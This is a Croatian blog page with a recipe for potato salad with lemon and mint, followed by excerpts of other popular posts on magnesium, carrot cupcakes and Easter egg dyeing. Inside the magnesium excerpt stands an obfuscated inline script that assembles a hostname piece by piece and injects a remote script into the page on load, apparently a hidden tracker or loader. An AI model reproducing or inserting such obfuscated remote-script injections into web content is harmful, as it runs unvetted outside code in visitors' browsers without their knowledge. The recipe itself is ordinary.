KRUMPIR SALATA S LIMUNOM I MENTOM 🍋 🥗 🥔




Krumpir salata s limunom i mentom 




Krumpir-salata s limunom i mentom stiže nam iz sirijske kuhinje, a slične varijante popularne su diljem Levanta. Savršen je prilog za proljetna i ljetna druženja, roštilje i užurbane dane.




Krumpir salata s limunom i mentom 


Sastojci:

  • 1 kg krumpira
  • 3 mlada luka
  • ½ vezice svježeg peršina
  • 15 g listića svježe mente
  • 60 – 120 ml svježe cijeđenog limunovog soka
  • 60 ml ekstra djevičanskog maslinovog ulja
  • 2 češnja češnjaka, sitno nasjeckana
  • 1 čajna žličica soli
  • ¼ čajne žličice mljevenog crnog papra



Priprema:

  1. Krumpir dobro operite i po potrebi ogulite. Stavite ga u lonac hladne posoljene vode ikuhajte dok ne zavrije.
  2. Kad voda zakipi, smanjite vatru na srednje laganu temperaturu i kuhajte 15 do 20 minuta, odnosno dok krumpir ne omekša dovoljno da ga lako probodete vilicom.
  3. Dok se krumpir kuha, sitno nasjeckajte mladi luk, peršin i listiće mente. Ostavite sa strane.
  4. U manjoj zdjeli pomiješajte limunov sok, maslinovo ulje, nasjeckani češnjak, sol i papar. Kušajte preljev pa po želji dodajte još limunova soka ili soli.
  5. Kuhani krumpir ostavite nekoliko minuta da se malo ohladi, a zatim ga narežite na komade veličine zalogaja.
  6. U većoj zdjeli sjedinite krumpir, nasjeckano začinsko bilje i pripremljeni preljev. Lagano promiješajte kako se krumpir ne bi raspao, a svi sastojci ravnomjerno povezali.
  7. Ohladite prije posluživanja Salatu stavite u hladnjak na najmanje 15 minuta. Za to vrijeme krumpir će upiti aromatični preljev, a okusi će se lijepo prožeti.
  8. Poslužite rashlađeno kao prilog.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više